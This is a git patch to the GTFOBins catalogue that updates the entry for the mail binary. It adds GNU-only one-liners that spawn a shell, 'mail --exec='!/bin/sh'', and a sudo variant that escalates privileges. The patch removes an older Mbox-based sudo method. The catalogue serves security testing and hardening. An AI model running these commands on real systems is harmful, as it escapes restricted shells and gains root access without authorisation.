From dd9f4269ed4ff3605120185796e06d43f88e7773 Mon Sep 17 00:00:00 2001 From: Jonathan Siegel Date: Tue, 19 Feb 2019 11:27:35 +0100 Subject: [PATCH] Add the GNU version of mail Close #54. --- _gtfobins/mail.md | 10 ++++------ 1 file changed, 4 insertions(+), 6 deletions(-) diff --git a/_gtfobins/mail.md b/_gtfobins/mail.md index 10a2bff..4198b83 100644 --- a/_gtfobins/mail.md +++ b/_gtfobins/mail.md @@ -1,6 +1,8 @@ --- functions: shell: + - description: GNU version only. + code: mail --exec='!/bin/sh' - description: This creates a valid Mbox file which may be required by the binary. code: | TF=$(mktemp) @@ -8,10 +10,6 @@ functions: mail -f $TF !/bin/sh sudo: - - description: This creates a valid Mbox file which may be required by the binary. - code: | - TF=$(mktemp) - echo "From nobody@localhost $(date)" > $TF - sudo mail -f $TF - !/bin/sh + - description: GNU version only. + code: sudo mail --exec='!/bin/sh' ---